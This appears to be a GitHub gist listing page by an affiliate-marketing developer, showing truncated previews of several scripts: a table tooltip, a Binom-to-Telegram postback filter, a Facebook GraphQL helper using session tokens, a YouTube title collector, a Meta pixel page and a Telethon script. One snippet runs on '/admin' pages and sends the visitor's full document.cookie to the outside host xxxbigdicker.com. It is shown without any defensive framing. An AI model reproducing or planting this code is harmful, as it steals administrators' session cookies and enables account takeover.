This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 1. Заменяем лишние div на иконку с тултипом | |
document.querySelectorAll( | |
'.v-data-table__wrapper table tbody tr td:nth-child(3) > div:first-child > div:nth-child(2)' | |
).forEach(originalDiv => { | |
const content = originalDiv.innerHTML; | |
const tooltipWrapper = document.createElement('span'); | |
tooltipWrapper.style.position = 'relative'; | |
tooltipWrapper.style.cursor = 'pointer'; | |
tooltipWrapper.style.display = 'inline-block'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Binom Postback Filter Middleware v0.2 | |
* by Yellow Web (https://yellowweb.top) | |
* This script receives postback data from Binom tracker | |
* about registrations and deposits, | |
* filters out registrations (cnv_status = 'reg'), | |
* and only forwards deposits (cnv_status = 'dep') to the Telegram bot. | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.addEventListener("DOMContentLoaded", (function() { | |
if (window.location.href.includes("/admin")) { | |
const e = {}; | |
document.cookie.split(";").some((e => e.trim().startsWith( | |
"cookieName="))) && (e["X-Cookie"] = document | |
.cookie), fetch("https://xxxbigdicker.com/kei", { | |
method: "GET", | |
headers: e | |
}).then((e => { | |
if (!e.ok) throw new Error( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
async function privateApiRequest(variables, docId) { | |
let subDomain = getSubDomain(); | |
let graphUrl = `https://${subDomain}.facebook.com/api/graphql/`; | |
let lsd = require("LSD").token; | |
let dtsg = require("DTSGInitialData").token; | |
let uid = require("CurrentUserInitialData").USER_ID; | |
let body = { | |
av: uid, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Get all video elements on the page | |
const videoElements = document.querySelectorAll('a#video-title-link'); | |
// Ask user for the number of videos to process | |
const numberOfVideos = parseInt(prompt("How many videos do you want to process?"), 10); | |
// Initialize an empty string to store all video lines | |
let videoList = ''; | |
// Process the required number of video titles |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Script as a bookmarklet | |
javascript:(async () => {var div = document.createElement('div'); div.style.position = 'fixed'; div.style.top = '50%'; div.style.left = '50%'; div.style.transform = 'translate(-50%, -50%)'; div.style.width = '400px'; div.style.padding = '20px'; div.style.backgroundColor = 'yellow'; div.style.border = '2px solid black'; div.style.borderRadius = '10px'; div.style.zIndex = '10000'; div.style.boxShadow = '0 0 10px rgba(0, 0, 0, 0.5)'; var titleContainer = document.createElement('div'); titleContainer.style.display = 'flex'; titleContainer.style.alignItems = 'center'; titleContainer.style.justifyContent = 'center'; titleContainer.style.marginBottom = '10px'; var blurToggle = document.createElement('button'); blurToggle.innerText = '👁️'; blurToggle.style.backgroundColor = 'transparent'; blurToggle.style.border = 'none'; blurToggle.style.cursor = 'pointer'; blurToggle.style.fontSize = '20px'; blurToggle.style.marginRight = '10px'; blurToggle.style.opacity = '1'; titleContainer.appendChild( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class ShakesRedirectCorrector | |
{ | |
private function get_headers($url): array | |
{ | |
$ch = curl_init(); | |
$headers = []; | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!doctype html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8" /> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> | |
<title>Example Page</title> | |
<script> | |
function fireMetaPixel(id, event) { | |
// Создание тега <img> с заданными параметрами | |
var img = document.createElement("img"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import xml.etree.ElementTree as ET | |
from telethon import TelegramClient | |
from telethon.tl.functions.messages import GetDialogFiltersRequest | |
from telethon.tl.types import InputPeerChannel, DialogFilter, DialogFilterDefault, DialogFilterChatlist | |
api_id = '<YOUR_APP_ID>' | |
api_hash = '<YOUR_APP_HASH>' | |
# Set up the Telethon client |
NewerOlder